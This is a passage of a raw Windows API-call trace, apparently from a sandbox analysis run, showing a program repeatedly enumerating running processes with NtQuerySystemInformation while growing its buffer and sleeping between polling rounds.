	[0078.344] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.345] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2d654) returned 0x28de680
	[0078.345] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.346] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2e678) returned 0x28de680
	[0078.346] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2e678, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.346] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2f69c) returned 0x28de680
	[0078.346] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2f69c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0078.349] Sleep (dwMilliseconds=0x64) 
	[0081.736] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882180, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2882180, ResultLength=0x0) returned 0xc0000004
	[0081.744] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882180, Size=0x2048) returned 0x28be6a0
	[0081.744] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be6a0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28be6a0, ResultLength=0x0) returned 0xc0000004
	[0081.745] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be6a0, Size=0x306c) returned 0x2894bd8
	[0081.745] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0081.746] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0081.746] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0081.746] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28ae2f8
	[0081.747] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0081.747] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0x60d8) returned 0x28ae2f8
	[0081.747] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0081.748] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0x70fc) returned 0x28ae2f8
	[0081.748] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0081.748] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0x8120) returned 0x28ae2f8
	[0081.748] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0081.749] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0x9144) returned 0x28ae2f8
	[0081.749] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0081.749] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0xa168) returned 0x28ae2f8
	[0081.749] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0081.750] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0xb18c) returned 0x28de680
	[0081.751] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.752] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0xc1b0) returned 0x28de680
	[0081.752] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.752] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0xd1d4) returned 0x28de680
	[0081.752] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.753] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0xe1f8) returned 0x28de680
	[0081.753] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.753] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0xf21c) returned 0x28de680
	[0081.753] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.754] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x10240) returned 0x28de680
	[0081.754] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.754] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x11264) returned 0x28de680
	[0081.755] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.755] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x12288) returned 0x28de680
	[0081.755] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.756] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x132ac) returned 0x28de680
	[0081.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.756] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0081.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.757] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0081.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.758] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0081.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.759] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0081.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.759] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0081.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.760] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0081.760] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.761] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0081.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.761] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0081.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.762] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0081.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.763] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0081.763] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.763] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0081.763] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.764] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0081.764] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.765] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0081.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.765] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0081.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.766] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0081.766] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.767] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0081.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.767] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0081.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.768] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x25534) returned 0x28de680
	[0081.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.769] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x26558) returned 0x28de680
	[0081.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.770] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2757c) returned 0x28de680
	[0081.770] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0081.770] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x285a0) returned 0x28de680
	[0085.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0085.201] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x295c4) returned 0x28de680
	[0085.201] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0085.203] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2a5e8) returned 0x28de680
	[0085.203] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0085.203] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2b60c) returned 0x28de680
	[0085.203] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0085.204] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2c630) returned 0x28de680
	[0085.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0085.205] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2d654) returned 0x28de680
	[0085.205] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0085.213] Sleep (dwMilliseconds=0x64) 
	[0087.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2884390, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2884390, ResultLength=0x0) returned 0xc0000004
	[0087.604] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2884390, Size=0x2048) returned 0x28c08a8
	[0087.604] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c08a8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c08a8, ResultLength=0x0) returned 0xc0000004
	[0087.604] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c08a8, Size=0x306c) returned 0x2894bd8
	[0087.605] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0087.605] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0087.605] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0087.606] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28ae2f8
	[0087.606] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0087.606] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0x60d8) returned 0x28ae2f8
	[0087.607] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0087.607] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0x70fc) returned 0x28ae2f8
	[0087.607] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0087.607] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0x8120) returned 0x28ae2f8
	[0087.607] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0087.608] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0x9144) returned 0x28ae2f8
	[0087.608] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0087.608] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0xa168) returned 0x28ae2f8
	[0087.608] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28ae2f8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28ae2f8, ResultLength=0x0) returned 0xc0000004
	[0087.609] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28ae2f8, Size=0xb18c) returned 0x28de680
	[0087.610] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.611] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0xc1b0) returned 0x28de680
	[0087.611] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.611] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0xd1d4) returned 0x28de680
	[0087.611] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.612] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0xe1f8) returned 0x28de680
	[0087.612] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.612] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0xf21c) returned 0x28de680
	[0087.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.613] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x10240) returned 0x28de680
	[0087.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.614] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x11264) returned 0x28de680
	[0087.614] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.614] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x12288) returned 0x28de680
	[0087.614] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.615] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x132ac) returned 0x28de680
	[0087.615] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.615] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0087.615] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.616] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0087.616] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.617] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0087.617] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.617] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0087.618] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.618] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0087.618] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.619] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0087.619] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.620] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0087.620] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.620] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0087.620] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.621] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0087.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.622] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0087.622] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.623] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0087.623] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.623] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0087.623] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.624] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0087.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.625] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0087.625] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.625] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0087.625] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.626] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0087.626] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.627] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0087.627] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.628] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x25534) returned 0x28de680
	[0087.628] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.629] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x26558) returned 0x28de680
	[0087.629] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.629] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2757c) returned 0x28de680
	[0087.630] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0087.630] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x285a0) returned 0x28de680
	[0087.630] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
